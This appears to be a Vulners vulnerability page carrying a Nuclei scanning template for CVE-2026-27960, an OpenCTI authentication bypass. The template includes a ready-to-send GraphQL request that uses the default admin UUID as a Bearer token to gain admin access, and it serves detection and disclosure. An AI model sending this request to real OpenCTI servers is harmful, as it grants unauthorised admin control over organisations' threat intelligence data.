OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Exploit for Improper Input Validation in Microsoft | 7 May 202601:44 | – | githubexploit | |
| CVE-2026-27960 | 5 May 202618:35 | – | attackerkb | |
| CVE-2026-27960 | 5 May 202619:19 | – | circl | |
| OpenCTI 授权问题漏洞 | 5 May 202600:00 | – | cnnvd | |
| CVE-2026-27960 | 5 May 202618:35 | – | cve | |
| CVE-2026-27960 OpenCTI privilege escalation and unauthenticated access via default admin account | 5 May 202618:35 | – | cvelist | |
| EUVD-2026-27420 | 5 May 202618:35 | – | euvd | |
| CVE-2026-27960 | 5 May 202619:16 | – | nvd | |
| PYSEC-2026-119 | 5 May 202619:16 | – | osv | |
| PT-2026-37214 | 5 May 202600:00 | – | ptsecurity |
10
id: CVE-2026-27960
info:
name: OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation
author: DhiyaneshDk
severity: critical
description: |
OpenCTI < 6.9.13 allows authentication bypass by supplying a Bearer token set to the admin user's internal_id UUID instead of a valid JWT. The default admin internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) grants full admin access to the GraphQL API, effectively bypassing all authentication.
impact: |
An unauthenticated attacker can gain full admin access to the OpenCTI GraphQL API, including reading and modifying all threat intelligence data.
remediation: |
Upgrade OpenCTI to version 6.9.13 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-27960
- https://www.pruva.dev/reproductions/REPRO-2026-00314
- https://www.pruva.dev/reproductions/REPRO-2026-00331
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-27960
epss-score: 0.00584
epss-percentile: 0.46196
cwe-id: CWE-287
metadata:
verified: true
max-request: 1
vendor: opencti
product: opencti
tags: cve,cve2026,opencti,auth-bypass,unauth
http:
- raw:
- |
POST /graphql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f
{"query":"{ me { user_email name } }"}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "user_email", "\"me\"")'
- 'status_code == 200'
condition: and
extractors:
- type: json
part: body
json:
- '.data.me.user_email'
# digest: 4a0a0047304502210081e33119906d12d6d03e98ad688abb11485cda4fdf63274d995b82a5f303bf7d02200d86ccc354847b236c82ab41d46ce6d391a106625316f7c33446330199f892ca:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Sep 2026 05:12Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.01995
SSVC